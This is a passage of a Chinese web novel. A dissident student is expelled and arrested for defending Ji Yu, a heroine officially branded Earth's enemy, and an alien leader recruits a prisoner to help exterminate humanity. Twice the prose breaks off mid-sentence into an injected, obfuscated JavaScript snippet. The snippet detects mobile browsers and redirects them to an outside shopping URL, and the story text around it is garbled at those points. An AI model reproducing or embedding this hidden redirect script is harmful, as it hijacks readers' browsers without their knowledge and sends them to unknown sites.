教授:“不是活该,是需要被唤醒!你太偏激了!” 汪朵朵:“唤醒和活该功能一样,把苦难的原因归结到受害者自己身上,只是听起来更温和正确,还更有误导性。” 教授被怼得语气发慌,只能强撑:“你被假新闻误导了!一些知识分子这些年一直在被污名,你这么说非常不公平!” “他们何曾对同胞公平过?”汪朵朵像是听到笑话,“这么多年谁敢批评他们,立刻被围攻教育。神能被讽刺,可被捧上神坛的人不可以!到底在被污名,还是在被系统性漂白?” 教授:“国民本来就愚昧,麻木,自私,冷血,自大,崇拜强权,还喜欢围观砍头,那些知识分子简直是一针见血!” 汪朵朵:“直到今天哪个国家没有这种人?欧洲中世纪公开处刑,围观的人山人海,法国大革命断头台前妇女边织毛衣边看!站在精英的制高点俯视底层,拿殖民者的偏见当真理,以劣根论证受害同胞天生低劣,苦难应得,就不叫愚昧自大了?” 教授:“每个时代都有思想局限,不能对知识分子太苛刻!而且人家说的没错,指出了病症。” 汪朵朵:“那为什么要对文盲老百姓那么苛刻?在家国存亡的危急时刻,批判者的火力在内外强权之间的分配比重,就应该受到最严厉的审视!不要把输出偏见跟指出病症混淆,没有劣等的.民族,只有劣等的制度!” 教授:“这一点你可以反思批评,可你不能否认,就算有错,他们依然神圣伟大。” 汪朵朵:“所以只能擦灰式反思,保护型批评,错可以有,毛病浅浅提,但伟大两个字焊死不能动,是吗?” 汪朵朵跟教授的争论让全场安静,有人拿出手机偷偷的录下,有人拿小笔记把汪朵朵的话记下来,因为这是他们从小到大都没听到过的话。 而有人产生了生理不适,因为他们一直在被灌输某种正确的价值观,现在汪朵朵都说出截然相反的,让他们在生理上排斥。 终于有一个男学生大声道:“没有劣等的.民族,你这句话真是笑死人!你就是启蒙者笔下的讽刺的麻木奴才,所以应激了!” 汪朵朵看向他:“劣等理论是西方为了殖民、侵略、屠杀而创造的,你的确该笑,因为你完美继承殖民思想,论证了人类的卑劣。” 那个男生的脸色立刻变成了猪肝色,他想站起来怼回去,却被旁边的另一个男生狠狠拽了下来:“你想在课堂里宣扬种族歧视吗?” 于是,那男生愤愤地坐了下来。 教授:“即便这是人类共有的,难道觉醒,摆脱这些劣根不好吗?” 汪朵朵:“何为觉醒?任何压迫中都有反抗者,沉默者,自保的协助者,这是人类面对恶劣环境时,悲剧性的生存策略分布,为何将其特殊化为国民性,让整个民族背负道德污名?到现在这种自恨和污名还在成为自恋者的武器用来攻击异己,这不是痛心,而是恨异己怎么还没死绝。” 教授彻底恼羞成怒,拍着讲台大吼:“你这是极端偏激!历史虚无主义,抹黑楷模!他们是打在儿身痛在爹心,骂你是为你好!” 汪朵朵彻底爆发,把所有压抑的愤怒,一次性砸穿整个课堂:“被系统定性的人,只要我进行不同解读,全世界都要来纠正我!只会用嘴辱骂同胞、宣扬受害者有罪论的人是楷模,家暴都能漂白!用行动拯救生命却成了恶魔!楷模恶魔,全由意识形态决定!” 她的声音在教室里回荡,震得所有人头皮发麻。 教授气得浑身发抖,指着门口:“你出去!我的课堂不欢迎颠倒黑白的学生!” “好的!”汪朵朵抓起背包,没有半分留恋。 走廊里,风掠过窗边。 沈续快步追上她,看着她泛红却依旧倔强的眼,轻声说:“你是不是太悲观了?你看问题的角度实在是太……” 他希望她能开心,可每次见到她,她都不开心。 汪朵朵吸了吸鼻子,声音带着疲惫:“太偏激吗?现实比我更偏激。你裙子短被强.奸活该、你的苦难是应得的,还有那些在安全的地方,批判危险中的人懦弱不敢反抗的温室勇者,还少吗?这套理论已经持续上百年、上千年!” 沈续沉默片刻,轻轻说:“可是,我希望你能看看正能量,还是有很多好人。” 汪朵朵:“正能量大火,是从气功大师用正能量猥.亵女性开始的。后来被彻底洗白,要求人只许说光明正义。” 沈续愣了愣,低头说:“对不起啦。” 汪朵朵:“我心里郁闷,别老跟着我。” 她转身跑了。 …… 汪朵朵的“刺头”名号,终于捅破了学院能容忍的最后一层纸。 连怼四位教授,课堂录像传遍校园,每一段都在挑战权威。 教授们联名拒绝她入班,辅导员三番五次约谈,院系警告信一封接一封。 可她依旧我行我素,半点低头的意思都没有。 最终,一纸勒令退学通知,摆在了她面前。 辅导员看着她,语气复杂:“汪朵朵,你只要低头认个错,写份检讨,事情还有转机。” 汪朵朵扫了一眼那张纸,笑了一声,“我选择退学。否则四年植物人,八年脑死亡,我算过,不值。” 辅导员生气道:“你……” 汪朵朵收拾好东西,头也不回地走出了那座标榜自由,却容不下一句异议的象牙塔。 沈续看着她的背影,心脏揪得发疼。 他没想到,汪朵朵说得出,就真的做得到。 5. 第 5 章 当天傍晚,市中心最繁华的广场路口。 大屏幕,广告牌上不断地切换着各样的广告。 “觉醒”牌矿泉水:喝一口,清醒一整天 “清醒”牌牙膏:刷走恋爱脑污秽,刷出人间清醒的透爽 “独立”牌卫生巾:不依附任何男人,也能安心度过那几天 “科学证明,喜欢独处的人更聪明。” “科学证明,只为自己而活的人更智慧。” “科学证明,喜欢自由的人基因更健康。” “科学证明,不婚不育不社交更长寿。” “科学证明,越经济独立的人越幸福。” 汪朵朵耳边响了一大堆的“科学证明”,她双手堵着自己的耳朵,冲进了一家便利店里,买了一支马克笔一个页面稍大的笔记本。 出来之后,她把笔记本的壳直接撕了,剩下的扔进垃圾桶,只留下硬壳,然后用粗黑马克笔,在白色那一面写了两个醒目的大字:纪遇 她安安静静站在人流之中,高高举着这两个字,脊背挺得笔直。 没有口号,没有喧哗,没有抗议,只是把那个被全人类钉在耻辱柱上的名字,光明正大地亮出来。 路过的人纷纷侧目,眼神怪异、鄙夷、恐惧,像看一个疯子。 “那不是纪遇吗?危害地球的恶魔……” “这女的疯了吧?敢提这个名字?” “英雄批判课就是为了批判纪遇才开的,她不要命了?” 沈续疯了一样冲过来,一把抓住她的手腕,脸色惨白,声音发颤:“你疯了?!快把牌子扔了!你会被抓的!你想提这个名字,只能以批判为目的!” 汪朵朵轻轻甩开他的手,“我就是不批判她,害怕你就走,没人逼你陪我。” 沈续僵在原地。 让他走,他舍不得,留下他又怕得心脏狂跳,不停地左右张望,生怕下一秒就冲来人把他们带走。 最终,他咬了咬牙,没走。 就站在她身边,陪着她。 没过多久,刺耳的警笛声由远及近。 两辆巡逻车稳稳停在路边,几名警察快步上前,面色凝重。 “把牌子放下。” 汪朵朵纹丝不动,依旧举着那两个字,声音清冷却坚定:“我站在这里,没闹没犯法,凭什么?” 领头的警察眼神冷硬,一语戳破: “纪遇是地球公敌,你公然为她站台,已经违反了公共安全条例。” 伸手一夺,那块写着“纪遇”的牌子,被狠狠揉碎,扔在地上。 “带走!” 汪朵朵没有反抗,只是冷冷看着他们,没有丝毫恐惧。 沈续吓得脸色发青,却还是下意识挡在她身前:“我们只是小孩子不懂事,我们……” 两人一左一右,被强行带上警车。 车门关上的那一刻,汪朵朵望着窗外飞速倒退的城市,轻轻笑了。 标榜文明的星球,连一个名字都容不下。 拘留所两人被分开关押,中间只隔着一道冰冷的铁栅栏。 沈续抓着栏杆,又急又气又心疼,声音都在抖:“这下你满意了?!为了一个已经被定性的恶魔,把自己搭进拘留所,值得吗?!” 他不是真的怪她,只是担心她留了案底。 汪朵朵靠在冰冷的墙壁上,吹着眸子,声音低沉:“我不是从书本和新闻里听说纪遇,而是和她相处过,甚至吵过架。” 沈续震惊道:“你……你说什么?” 汪朵朵:“我对她的记忆,不是抽象的英雄或恶魔符号,而是一个鲜活有细节的人。全世界都在说她是恶魔,可我认识的纪遇,比任何人都要可靠,这种具体的记忆是任何宣传都无法抹去的。所以周围的一切让我窒息,我只能不断的挑战我所看到的一切权威来缓解。” 沈续:“……” 外面传来急促的脚步声。 沈续的父亲、汪朵朵的母亲,同时赶到。 两位家长脸色铁青,交了保证金,低声下气地道歉、签字、按手印。 最后,两份保证书摆在两人面前:本人保证,今后绝不提及纪遇此人,绝不为此人辩解、发声、站台,如若再犯,依法追究刑事责任,从重处理。 警察语气严肃:“这件事性质很严重,再犯,就不是拘留这么简单了,是要坐牢的。” 沈续吓得立刻点头,拿起笔飞快签字。 汪朵朵站在原地,一动不动,眼神里全是不服。 她猛地抬头,声音清晰地砸在所有人面前:“她救过地球……” 还没说完,一只手狠狠捂住了她的嘴。 母亲脸色惨白,眼神惊恐,用尽全身力气按住她,眼泪都快吓出来了,压低声音嘶吼:“闭嘴!” 母亲强行拖着她往外走,像拖走一个随时会爆炸的炸弹。 汪朵朵被捂得发不出声音,只能睁着一双倔强到发红的眼睛,死死盯着前方。 直到被拉出拘留所,被塞进车里,车门关上的那一刻,她才终于明白,这世上最可怕的,不是宇宙的黑暗,而是人间,连一句真话都不允许存在。 车窗外,沈续站在原地,望着车子远去,久久没有动。 他害怕,他懦弱,他不敢像她一样拼命。 可他心里清楚朵朵没有错。 …… 被退学之后,汪朵朵反倒更自在了。 她不用再看教授脸色,守课堂规矩,整个人像一把彻底出鞘的刀,见谁刺谁,逢偏见必怼,逢双标必拆。 沈续还是喜欢黏着她,汪朵朵虽然总是凶他,可也没真赶他走。 咖啡馆,汪朵朵正在和沈续喝咖啡,邻桌几个理科男女高谈阔论,声音大得毫不掩饰。 一个满脸优越感的中年女人,笑着说:“但凡有点理性的人就能看出来,诺贝尔文学奖跟和平*奖就是三流奖项,为了政治正确颁给女人。文科只是情绪,理科奖才有含金量!” 这话一落,汪朵朵手里的勺子“当”地磕在杯壁上。 她转过头,直接开口开怼:“阿姨,只要颁奖给你否定的性别和作品就是政治正确,文学和女人不配得奖是吗?别忘了你也是女人。” 女人愣了一下,随即不屑地嗤笑:“你个小屁孩懂什么,到了我这年纪就知道自己有多幼稚,被政治正确洗脑了。” 汪朵朵眉眼一抬:“放心,我不会活成你这样。诺贝尔一生发明炸药,却设立和平与文学奖,奖励推动人类文明前进却又被忽视的力量,这也是情绪驱动行为,他成三流科学家了吗?” “那是他给文科面子,勉强设立的。” “怎么不给数学面子?” “因为当时数学已经有专门奖项了!” “文科当时也有专门的奖项。” 对方被噎得脸色涨红,干脆破罐破摔:“不管你怎么说,文科生就是不受欢迎,缺乏逻辑和理性,这是事实!” 汪朵朵:“哇,你完美呈现高分低能,用个例攻击群体,这就是理科思维?” 有人嘲讽汪朵朵:“你是文科生吧,戳你肺管子了。” 汪朵朵:“二极管眼里不是文科就是理科,现代知识体系和职业发展早就超出文理框架,越无知的人越狂妄。” 对方愤怒道:“你……” “我怎么了?”汪朵朵打断她,“我知道理科生更容易被社会奖励为理性,这是偏见不是事实。因为理科成绩可量化,文科难以被僵化评估,可文科的历史论证、法律推理、哲学思辨、文学结构、语言修辞都需要严密的逻辑。鄙视链的本质,就是认知贫瘠。” 咖啡馆里的理科生被怼得面无人色,收拾东西离开。 汪朵朵刚收回目光,旁边一桌文科生立刻炸了,七嘴八舌地附和:“就是!文科才是灵魂!理科是没有温度的机器!” “学文的才是清醒、有思想。” “行文逻辑,语言组织能力,只有文科生才能做到!” 汪朵朵深吸一口气,再次抬眼:“别自我优越了行吗?” 一桌人齐刷刷愣住。 其中一个穿白衬衫的女生皱眉:“说真相怎么了?文科守护人类精神,理科只会制造武器与毁灭。” 汪朵朵冷笑一声:“精神高贵而已。” 女生立刻急了:“文科思考人性、正义、良知、文明,理科懂吗?” “理科可以造药救人,探索宇宙,学科没有善恶,人才有,你们和刚才骂文科三流的都一路人。” 一个男生不服:“文科至少不制造战争屠杀、不搞核威胁!” 汪朵朵声音陡然提高,刺破全场:“但文科可以煽动仇恨,美化侵略,给压迫找理由,用文字把人分成三六九等,把歧视包装成清醒,暴力包装成正义!武器杀人是一秒,思想杀人世世代代!社会达尔文、种族歧视,纳粹大屠杀,可没少了文科的帮助。” 全场死寂。 所有人脸色发白,一句话都反驳不出来。 沈续彻底看傻了。 等那群人走光,他一脸茫然又无奈:“朵朵,你怎么见人就怼?你怼理科生,我以为你喜欢文科,后来你又怼文科生,我搞不懂了。” 汪朵朵:“什么理性感性都是放屁,只为了显得自己更聪明,管它什么生。” 沈续彻底看懵了。 他跟着汪朵朵,看着她无所不怼,像一个横空出世的秩序破坏者,谁的山头都不拜。 但汪朵朵怼人是有代价的。 她在咖啡馆里怼人,视频被人传播到互联网上,当天就遭到了文理两边的网暴。 “愤世嫉俗的人都是活在阴沟里的垃圾。” “一个毛都没长齐的小屁孩,居然敢评判学科!” “扒出来了,她以前是个田园女*拳!现在变成捍卫爱的恋爱脑!大学天体物理专业,连怼几个教授被退学!” “果然,恋爱脑就是智商有问题,得治!” “恋爱脑不配学理科!” “恋爱脑不配学文科!” “恋爱脑什么时候死光呀?!” …… 时间过得很快,不知不觉又到了2026年年底。 汪朵朵和小姐妹窝在沙发上。 小姐妹手机里正放着一段作者采访。 视频里,作者语气坚定又清醒:“我写的故事,女主受过很可怕的伤害,男主一直陪着她、鼓励她,但我表达的不是爱拯救一切,男主只是陪伴者,一切靠她自己,不是靠男主拯救,大家不要误会。” 小姐妹听得连连点头,一脸认同:“说得真好!就需要这种有力量的女主,靠自救!不像有些废物女人,只能靠男人救,离了爱就活不了,活该受害!” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373184|200031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音刚落,旁边一直安静的汪朵朵忽然抬眼,语气冷淡:“被男主救和自救,两者很冲突吗?人性一定那么泾渭分明吗?” 小姐妹一愣:“啊?” 汪朵朵看着视频,眼神里带着毫不掩饰的不屑:“爱本就是支撑她走出痛苦最重要的力量,如果没有这份陪伴,她可能撑不到自救的那天。可一边用这份力量让女主站起来,一边又急着撇清关系,强调不是被爱救,全靠自己,真假!” 小姐妹:“人家说的也没有错,本来就是不是全靠爱。不像其他恋爱脑,离不开男人,没完没了的雌竞,没有半点女性主义。” 汪朵朵字字扎心:“就算完全靠爱救赎又怎么样?一个人因为被爱、被陪伴、被托住才活过来,哪里低人一等了?女性主义就是把雌竞、恋爱脑挂在嘴边羞辱女性,跟男人用荡*妇、水性杨花来羞辱女人一样。可笑的是雄竞、恋爱脑这类词放在男人身上,你们反而包容了。” 小姐妹怒道:“汪朵朵,你是不是疯了?” 汪朵朵:“躺在自己的沙发上都得听规训,不疯才怪!从古至今,只要一种思想被捧成正确,就这也容不下,那也看不起。古代区分烈妇和荡*妇,饿死事小,失节事大。现代区分大女主和恋爱脑,靠自己高尚,靠爱软弱,被救丢人!太虚伪了!” 小姐妹愤怒道:“就你不虚伪?为了维护纪遇被抓,你容不得任何进步思想,难怪你会维护那个恶魔!现在都已经变成了一个偏激的疯子!” 汪朵朵郑重其事地看着她:“纪遇不是恶魔,如果不是她,你还能坐在这里刷短视频,骂其她女人废物吗?” 小姐妹听到“纪遇不是恶魔”这几个字,握紧了拳头:“你居然敢说她不是恶魔?所有人都知道她是,只有你说不是,难道你不应该检讨自己吗?你以前可是一个坚定的女性主义者,结果现在变成了反女权,不仅鼓吹废物娇妻自由,还维护恶魔!” 汪朵朵:“你才是废物,脑子被洗废了!” 小姐妹眼睛瞪得通红:“汪朵朵!” 她扑上去跟她打了起来,汪朵朵也不遑多让,两个人撕起了头发。 汪朵朵的母亲走了过来,看到两个人打在一起了,吓了一跳,连忙跑过去拦住,“打什么打架呀?都是朋友,放手。” 直到两个人被推开之后,小姐妹指着汪朵朵说,“你给我等着。” 小姐妹走后,母亲无奈地看着朵朵:“全都是那个纪遇害你变成这个样子,我希望你回到以前胖乎乎的女权朵朵,也不想让你变成现在这样子。你醒醒吧,这个世界就是这样,真相不重要,谎言说一千遍就变成真的,你只能相信,这样你会好过一些。” 汪朵朵一言不发,转身跑回了楼上。 扑倒在床上,将脸埋在枕头里哭了起来。 她从枕头下面拿出一个机遇号的模型,捧在手里:“纪遇,我讨厌他们,我真的好讨厌他们。你让我看到了这个世界,可他们永远都看不到。” …… 半小时后。 刺耳的警笛声,由远及近,硬生生划破小区的安静。 三辆警车直接停在楼下,红蓝灯光疯狂闪烁,把整栋楼照得一片冰冷。 敲门声砸在门上,不容拒绝。 “开门!警察!” 母亲脸色煞白,门一拉开,几名穿着制服的人鱼贯而入,语气冰冷而严肃:“有人举报你女儿汪朵朵,涉嫌为地球公敌纪遇洗白、非法传播违禁内容,现在依法对你家进行搜查。” 汪朵朵刚从床上爬起来,眼睛还红肿着,头发凌乱。 看到警察冲进来,整个人瞬间僵住。 “你们要干什么?” 警察没理她,开始搜查。 书桌抽屉被拉开,柜子被翻开,枕头被掀开。 然后所有人都看见了一抽屉的纪遇探测器模型,被她小心藏好的海报,笔记本里写满了纪遇的名字。 铁证如山。 带队的警察,严肃道:“汪朵朵,纪遇是反人类危险分子。任何收藏、传播、洗白,都是违法行为。” 汪朵朵猛地冲过去,想抢回来:“她不是危险分子!你们凭什么……” “按住她。”她被人死死按住,动弹不得。 眼睁睁看着自己藏了那么久、那么珍惜的东西,被一件件装进证物袋。 那些是她在全世界都抛弃她时,唯一的光。 母亲瘫在门口,哭得浑身发抖:“她还是个孩子……她不懂事……” 警察回头,眼神没有半分温度,“收藏违禁物品,崇拜反人类罪犯,已经不是不懂事了。” “汪朵朵,你涉嫌危害公共安全、传播违禁信息,跟我们走一趟。” 冰凉的手铐,咔嗒一声,扣在了她的手腕上。 汪朵朵没有再挣扎,只是望着满地狼藉的房间,那些被没收的模型和海报,眼泪无声地往下掉。 警察推着她往外走,母亲扑上来想拦,被拦住。 邻居们探出头,指指点点,眼神里有恐惧、有鄙夷、有看热闹的冷漠。 “原来是她啊……敢维护纪遇……” “疯了吧,不要命了……” “恶魔的追随者……” 汪朵朵低着头,一步一步,走向那辆闪烁着红光的警车。 小姐妹躲在不远处,嫉恶如仇地跺了跺脚:“活该!” 6. 第 6 章 2026年12月31日 跨年之夜的冷风裹着城市,掠过摩天大楼的玻璃幕墙,拂过街头攒动的人潮。 霓虹将夜空染成流动的碎金,气球牵着欢呼飘向高处,情侣相拥,孩童嬉笑,全世界都浸在一种近乎狂热的期待里。 寒意虽然扑面而来,可每一张仰起的脸上,都燃着比炉火更烫的兴奋,人类对未知星际的热情,在跨年的倒计时里越烧越旺。 从2026年初官方公布突破亚光速与星际舰队建成的消息时,整颗地球就陷入了前所未有的沸腾。 这是人类文明跨越千年的里程碑,只需要三十天,就能离开太阳系,探寻外星文明。 一整年的等待,一整年的热议,所有的期盼都凝在这最后一夜。 官方承诺,跨年倒数的最后十秒,人类星际舰队将现世,以最震撼的姿态,迎接新纪年的到来。 广场的巨型电子屏跳动着鲜红的数字,全球同步直播的画面里不同肤色、不同语言的人,都在仰着头,跟着屏幕齐声倒数。 声音从最开始的零散,渐渐汇聚成海啸般的轰鸣,穿透夜色,震得空气都在微微颤抖。 每数一个数字,时间仿佛被定格,天地都在为人类的欢呼而喝彩。 “十!” 烟火在天际炸开一簇簇流光,人群的呐喊掀翻了屋顶。 “九!” 风停突然了,所有人的目光死死钉在暗沉的夜空,心脏狂跳如鼓。 “八!” 城市的灯光下意识地暗了几分,像是在为即将到来的神迹让位。 “七!” 有人攥紧了身边人的手,眼底是藏不住的狂热。 “六!” 倒计时的声音仿佛穿透国界,跨越山海,全人类的心跳,在这一刻连成同一频率。 “五!” 夜空之中,开始泛起光晕,一层淡淡的银辉从云层后漫开,像黎明提前降临。 “四!” 银辉骤然变亮,云层开始翻滚、溃散,如同被无形的大手撕开。 “三!” 巨大的金属轮廓在云层后显现,冰冷的工业质感,带着碾压一切的气势。 “二!” “一!” 人群的呐喊戛然而止,全世界陷入死寂,只剩下急促的喘息。 跨年的钟声撞响的刹那,厚重的云层彻底崩裂,人类星际舰队终于展露全貌。 一片遮天蔽日的钢铁洪流,涌现在天空之中。 星际战舰列阵苍穹,舰身泛着银灰色金属光泽,引擎的光带在黑暗里蜿蜒。 星舰层层叠叠,从地平线的一端蔓延至另一端,像骤然压顶的乌云,将漫天星辰彻底遮蔽。 夜空不再是深邃的黑,而是被冰冷的金属巨物占据看不到一丝星光,只有舰队带来的沉甸甸的压迫感。 震撼感瞬间攫住了所有人的肉*身和灵魂,虽然是人类智慧与力量的极致展现,可紧随其后的,是深入骨髓的恐惧与慌乱。 从未见过如此庞大的机械阵列悬在头顶,仿佛下一秒就会轰然坠落,将地面的一切碾为齑粉。 像极了末日电影里外星人入侵的灾难场景。 有人下意识后退,有人捂住嘴发出压抑的惊呼,孩童吓得大哭,原本欢腾的人群,被一种莫名的恐慌笼罩,空气里弥漫着紧张的窒息感。 这是面对远超自身认知的庞然大物时,生物本能的恐惧。 可这份恐惧,只持续了短短数分钟。 当第一艘旗舰缓缓转动舰身,舰艏的人类文明徽章在夜空亮起璀璨金光时,人群里瞬间爆发出第一声欢呼。 紧接着,欢呼之声如同野火燎原,瞬间席卷全场。 恐惧被极致的自豪碾碎,化作沸腾的狂喜,所有人都忘了刚才的慌乱,仰着头对着天空的钢铁舰队嘶吼、跳跃、拥抱。 欢呼声一浪高过一浪,从城市到乡村,从大陆到岛国。 烟火彻夜不息,灯光映亮每一张狂喜的脸,人们举杯相庆,呐喊着人类文明的伟大,憧憬着星际探索的辉煌未来。 整个地球,都沉浸在征服星河的狂热之中,却没有人看见,拘留所的角落里,一个格格不入的身影。 汪朵朵靠在冰冷的拘留所墙边,十八岁的清瘦少女,穿着单薄的号服,室内惨白的灯光照得她脸色苍白。 她没有欢呼,没有任何雀跃,只是仰着头,望着墙上那台小小的电视屏幕。 平时屏幕里播放的全都是教育片,没有任何娱乐,可今天跨年夜,人类星舰第一次亮相,所以全球直播,哪怕监狱里的罪犯,都要观看这场人类新纪元的开启盛况。 画面里,是遮蔽星辰的钢铁洪流。 她的眼泪毫无征兆地流了下来。 她抬手,慌乱地抹着眼泪,可泪水却越涌越多。 身边的在押人员都在盯着电视狂欢,有人瞥了她一眼,笑着说:“小姑娘太激动,哭成了这样。” 管教站在不远处,语气里满是自豪与欣喜,淡淡开口:“你看,这是我们人类的星际舰队,多厉害啊,要为人类感到自豪,不要盲目崇拜纪遇,知道了不?” 汪朵朵没有说话,嘴唇紧紧抿着,微微颤抖。 她不是激动,更没有一丝喜悦。 而是撕心裂肺的痛苦,无人能懂的悲戚在胸腔里翻涌,几乎要将她整个人吞噬。 她望着屏幕里那片象征人类荣耀与野心的钢铁舰队,还有传来的一阵阵狂欢不止,对即将到来的星际征途充满狂热的人类声响,视线渐渐模糊。 屏幕里的舰队越看越刺眼,欢呼声也越听越刺耳,那些狂喜的人们已经忘记了,他们此刻引以为傲的一切,是用谁的命换来的。 他们忘的也太快了,这才过了多久?不是十几年,几十年,更不是几百年,只是短短一年多而已。 她忽然想,曾经那个要消灭地球人的外星使者,在临时法庭上控诉人类的话,透过全球直播: “没有沉默的大多数,他们最终都会被煽动成为帮凶。” “人类的道德可以轻易被叙事、情绪、群体认同劫持。” “地球人自诩善良,却一次次在欲望面前背叛自己的承诺,他们在灾难中呼喊团结,却在灾难过后忘记一切,他们在苦难中立下誓言,却在平安时背弃记忆,他们歌颂正义,却在权力和利益面前低头,他们悼念无辜,转身后继续加害他人,他们在一次次悲剧后,自我安慰,却从不真正改变。” 那个使者的话,字字句句,在现在想起来,多么的真实。 她轻轻张了张嘴,声音被淹没在电视里震天的欢呼声里,只有自己能听见。 “纪遇,这就是你拼死守护的人类。” 汪朵朵的眼泪更凶了,声音带着压抑不住的哽咽,飘向这方狭小冰冷、没有星光的空间。 “我们如今要启航,飞向星际,让我们的仇恨、歧视、对立、恩将仇报,蔓延到整个星空。” 电视里的欢呼声一浪高过一浪,画面中的舰队依旧巍峨,墙外的狂欢从未停歇。 全人类都在庆祝文明的跨越,唯有这个被关在拘留所的十八岁女孩泪流满面。 …… 慕秉持已经记不清这是第几个没有昼夜的夜晚。 牢房里的灯光永远是那种不冷不热的柔白,从天花板均匀地漫射下来,照得一切都像浸泡在静止的水里。 他坐在金属床上,目光直直地盯着屏幕上人类的狂欢。 然后,他笑了:“尽管欢呼吧,这堆金属在真正的星际空间不堪一击。” 就在这时,空气突然变了。 没有任何声音和额外的光线,不是任何可以被感官捕捉的东西,而是某种几乎本能的感知。 慕秉持抬起头,发现牢房正中央,一个人正站在那里。 他就那么凭空出现,白色的长发随意扎了个低马尾,在柔和的灯光下泛着极淡的银辉。 砚止寻看着慕秉持,像看一件需要被评估的物品。 慕秉持没有动,没有喊叫,甚至没有改变呼吸的频率,只是静静地看着这个突然出现的陌生人,瞳孔微微收缩了一瞬,淡淡问了一句:“你是谁?” 砚止寻没有立刻回答,他的目光先扫过整个牢房,才落回慕秉持身上。 对方明显是外星人的模样,可是说出的话,却被高级翻译器,自动翻译成了慕秉持能听懂的语言:“砚止寻,晷宿人首领。” “你们终于来了。”慕秉持语气里没有惊讶,只有一种疲惫的确认,“我等了很久。” 砚止寻微微偏了偏头,眼睛里闪过一丝极淡的兴味:“难道,你知道我们?” “不知道。”慕秉持说,“但纪遇死后,我一直期待外星人来地球,越坏越好。” 砚止寻看着他,沉默了几秒。 “你和纪遇,有一种叫爱的情感连接吗?”他好奇地问。 慕秉持的手指微微收紧了一瞬,是他坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373185|200031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢以来,他唯一一次失控的迹象。 “你来做什么?”慕秉持没有回答他,声音依然很稳,但多了一层沙哑,“杀我吗?” “不。”砚止寻说,“我来给你一个机会。” 他往前走了一步,整个牢房的气压似乎都变了。 “消灭八十亿人工程量太大,而且地球人太复杂,许多事他们的同类才能懂。”他的语气像在陈述一个客观事实,“我需要有人管理地球人,你是一个合适的人选。” 慕秉持看着他,嘴角慢慢勾起一个弧度。 “我为什么要同意?” 砚止寻看着他,笃定道:“因为地球人杀了你最爱的人,背叛了他们的守护者,把她踩进尘埃里污名成恶魔,欢呼着庆祝自己的胜利。” 慕秉持的笑容消失了,他的呼吸变得重了一分。 新闻里的污蔑,教科书上的谎言,冷卓尧站在他面前炫耀时的得意,像潮水一样涌回来。 砚止寻继续说,声音平静,却充满不怒自威的压迫感:“你恨他们,你只是没有能力报仇。” 慕秉持没有说话。 砚止寻又往前走了一步,现在他们之间的距离,不足两米。 “我给你报仇的机会。” 慕秉持抬起头,双眼里有什么东西在翻涌,痛苦、愤怒、还有某种被压抑了很久很久的渴望。 “为什么是我?” 砚止寻:“因为恨是地球人最好的执行力,你不会有负担,不会犹豫,不会在半夜惊醒问自己‘我做错了吗’,你只会觉得他们该死。” 他顿了顿,直白到近乎坦诚地说:“最重要的是,如果纪遇没死,她回来阻止我,我可以杀了你。” 慕秉持愣了愣:“纪遇……没死吗?” 砚止寻看着他愣住的表情,嘴角微微动了一下:“不知道。可你是她爱的人,如果她还活着,还在乎你,就不会眼睁睁看着你死,所以你是人质。” 慕秉持看着面前这个白色长发的男人,已经那张从头到尾没有任何表情变化的脸。 他太直白,没有兜圈子,没有阴谋诡计,也没有任何试图粉饰的话,就这么直直地站在这里,把所有的算计都摆在桌面上。 然后,慕秉持笑了。 是真的笑,不是讥讽,也不是苦笑,而是混杂着悲凉和欣赏的笑。 “你是我见过的,最坦诚的坏蛋。” 砚止寻没有生气,似乎天生没有情绪:“所以你同意吗?既帮我消灭地球人,又当我的人质。” “我有一个条件。”慕秉持说。 砚止寻微微颔首:“你说。” 慕秉持站起身,他走到砚止寻面前:“我的家人,不能死。” 砚止寻看着他,没有立刻回答。 “我的父母,妹妹,朋友……”他顿了顿,声音第一次出现了颤抖,“他们没有杀纪遇,没有欢呼,没有庆祝,只是活着承受着失去她的痛苦。” 他看着砚止寻,那双眼睛里有火焰在燃烧。 砚止寻沉默了几秒,然后问:“就这个条件?” “就这个条件。”慕秉持说,“其他的随便你。让我管人类可以,让我杀人可以,让我当人质也可以,但我说的人不能死,留下几个幸存者,对你这种高等文明来说并不难吧?八十亿人都对你们毫无杀伤力,更何况几个人呢?” 慕秉持顿了顿,又说:“你同意,我就当你的人质,你不同意就现在杀了我。” 牢房里陷入死寂,只有两个人的呼吸声,在柔白的灯光下轻轻起伏。 砚止寻看着他很久,然后他开口了:“我同意。” 慕秉持松了口气。 他听到砚止寻说“如果纪遇没死,如果她回来”的时候,他心里燃起了一簇火。 也许她还活着,也许她会回来,也许他还能再见到她。 也许他还能…… 他闭上眼,深吸一口气,然后睁开,看着砚止寻:“成交。” 砚止寻微微点头:“从现在起,你是我的人质,也是地球人的管理者,负责把他们一批一批送进焚化炉,在我遇到无法理解的地球人问题时,你要向我解释。” 他转过身,向牢房中央走去。 白色的长发随着他的步伐轻轻晃动。 “走吧。” 他抬起手,空气再次开始波动。 下一秒,两个人同时消失在牢房里。 还有一片寂静,仿佛从来没有人来过。 7. 第 7 章 空间跃迁的失重感没有持续太久,慕秉持甚至没来得及闭眼,周身那层熟悉又令人窒息的柔白灯光就彻底消失了。 取而代之的,是铺天盖地的三角形。 